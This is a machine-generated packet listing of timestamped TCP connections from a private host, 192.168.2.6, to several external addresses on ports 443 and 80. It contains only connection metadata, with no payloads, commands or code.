Nov 26, 2024 16:31:35.796164989 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:35.796221018 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:35.796334028 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:35.831120014 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.831140041 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.831257105 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:35.831609011 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.831623077 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.831695080 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:35.839195013 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.839515924 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.839682102 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:35.848145962 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.848615885 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.848690033 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:35.849018097 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:35.849040031 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:35.857471943 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:36.039890051 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:36.064866066 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:36.077050924 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.077111959 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.077456951 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.127494097 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.127494097 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.127504110 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.127511978 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.236167908 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:36.401390076 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.401433945 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.401611090 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.412014008 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.412039995 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.653122902 CET	80	49781	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:36.653182983 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:36.839390993 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.864236116 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.864260912 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.865122080 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.865129948 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.883567095 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.891180038 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.891208887 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:36.891874075 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:36.891886950 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.049669027 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.083072901 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.083103895 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.084055901 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.084069967 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.598416090 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:37.598748922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:37.672585011 CET	443	49803	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.679045916 CET	49803	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.679076910 CET	443	49803	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.679768085 CET	49803	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.679773092 CET	443	49803	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.708591938 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.708657026 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.708712101 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.710089922 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.710118055 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.714005947 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.714037895 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.714199066 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.714379072 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.714386940 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.842971087 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.843059063 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.843864918 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.849836111 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.849855900 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.877774954 CET	80	49781	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:37.888637066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:37.888746023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:37.931881905 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:37.951241016 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.951333046 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.951431990 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.954523087 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:37.954535007 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:37.955714941 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:37.955795050 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:37.961452007 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:37.961584091 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:37.962444067 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:37.962455988 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:37.964140892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:37.970768929 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.970788002 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:37.970801115 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:37.970805883 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.027156115 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.027206898 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.027282953 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.028254986 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.028304100 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.028435946 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.062426090 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:38.064872026 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.064908028 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.067017078 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.067039967 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.241287947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:38.529604912 CET	443	49803	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.529671907 CET	443	49803	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.529730082 CET	49803	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.536279917 CET	49803	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.536298037 CET	443	49803	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.550637007 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.550688982 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.550806999 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.551059961 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.551079035 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.552174091 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.552577019 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.552607059 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.553097010 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:38.553107977 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:38.689337969 CET	49819	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:38.689392090 CET	443	49819	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:38.690340042 CET	49819	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:38.720385075 CET	49819	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:38.720400095 CET	443	49819	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:38.774702072 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:38.774794102 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:38.774864912 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:38.785548925 CET	49804	443	192.168.2.6	94.245.104.56
Nov 26, 2024 16:31:38.785578012 CET	443	49804	94.245.104.56	192.168.2.6
Nov 26, 2024 16:31:38.821248055 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:38.821301937 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:39.026410103 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.026494026 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.026575089 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.048948050 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.048996925 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.049015045 CET	49806	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.049024105 CET	443	49806	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.053431034 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.053486109 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.053550005 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.053903103 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.053921938 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.066998005 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.067009926 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.067027092 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.067060947 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.067259073 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.575124025 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.575285912 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.575328112 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:39.580295086 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.580524921 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.580763102 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:39.588579893 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.589251995 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.589312077 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:39.597265005 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.597584009 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.597837925 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:39.606234074 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:39.840192080 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:39.934951067 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.948549032 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.948585033 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.949695110 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:39.949703932 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:39.950715065 CET	49825	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:39.950746059 CET	443	49825	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:39.950824976 CET	49825	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:39.951251030 CET	49826	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:39.951287985 CET	443	49826	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:39.951353073 CET	49826	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:39.951491117 CET	49825	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:39.951502085 CET	443	49825	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:39.952783108 CET	49826	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:39.952805042 CET	443	49826	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.039526939 CET	49827	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.039566994 CET	443	49827	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:40.039658070 CET	49827	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.040370941 CET	49827	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.040380955 CET	443	49827	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:40.102901936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:40.102966070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:40.106643915 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.108644009 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.108674049 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.109266043 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.109272003 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.169279099 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.173485994 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.173513889 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.174067974 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.174073935 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.189894915 CET	49826	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.191207886 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.191237926 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.191433907 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.192250013 CET	49825	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.192362070 CET	49819	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:40.193702936 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:40.193711996 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:40.193782091 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:40.194412947 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.194433928 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.194473982 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.195446968 CET	49827	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.195672035 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.195682049 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:40.195777893 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.196150064 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.196161985 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.196289062 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:40.196300983 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:40.196497917 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.196508884 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.197122097 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.197128057 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:40.235331059 CET	443	49826	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.239346981 CET	443	49825	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.239353895 CET	443	49827	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:40.239356995 CET	443	49819	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:40.274790049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:40.419281006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:40.419404030 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.419471979 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.419542074 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.422086000 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.422113895 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.422142029 CET	49810	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.422148943 CET	443	49810	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.425942898 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.425971031 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.426038027 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.426181078 CET	49844	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.426191092 CET	443	49844	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.521469116 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.522119045 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.522136927 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.522624016 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.522629023 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.623344898 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.623399019 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.623492956 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.623882055 CET	49845	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.623900890 CET	443	49845	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.647620916 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.647680998 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.647725105 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.648169994 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.648178101 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.648200989 CET	49812	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.648207903 CET	443	49812	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.651601076 CET	49846	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.651638031 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.651957035 CET	49846	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.652905941 CET	49846	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.652925968 CET	443	49846	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.763367891 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.763425112 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:40.763504028 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.763731003 CET	49847	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:40.763741970 CET	443	49847	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:40.780276060 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.780328035 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.780428886 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.780617952 CET	49848	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:40.780631065 CET	443	49848	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:40.862176895 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.862242937 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.862315893 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.862914085 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.862936974 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.862948895 CET	49811	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.862956047 CET	443	49811	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.866276979 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.866306067 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.866374016 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.866590977 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:40.866605043 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:40.869628906 CET	443	49819	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:40.869716883 CET	49819	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:41.068675041 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.068742990 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.068811893 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.070439100 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.081523895 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.081556082 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.087269068 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.087287903 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.087881088 CET	49823	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.087888002 CET	443	49823	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.094378948 CET	49850	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.094427109 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.094544888 CET	49850	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.095191002 CET	49850	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:41.095205069 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:41.394607067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:41.394680977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:41.402154922 CET	443	49827	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:41.402220011 CET	49827	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:41.402225971 CET	443	49826	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.402271986 CET	49826	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.402415037 CET	443	49825	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.402461052 CET	49825	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.699162960 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:41.699326992 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.699444056 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.719383001 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.719405890 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.719561100 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.719580889 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.719660997 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:41.719669104 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:41.720598936 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.720629930 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.720666885 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.720691919 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.721133947 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:41.721193075 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:41.725730896 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.725806952 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.726167917 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.726227045 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.726500988 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:41.726600885 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:41.727113962 CET	49831	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.727128029 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.727211952 CET	49839	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.727220058 CET	443	49839	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.727278948 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:41.727283955 CET	443	49843	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:41.776396990 CET	49843	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:41.926027060 CET	49851	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.926070929 CET	443	49851	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.926172972 CET	49851	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.926382065 CET	49851	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:41.926397085 CET	443	49851	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.931343079 CET	443	49831	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:41.931407928 CET	49831	443	192.168.2.6	172.64.41.3
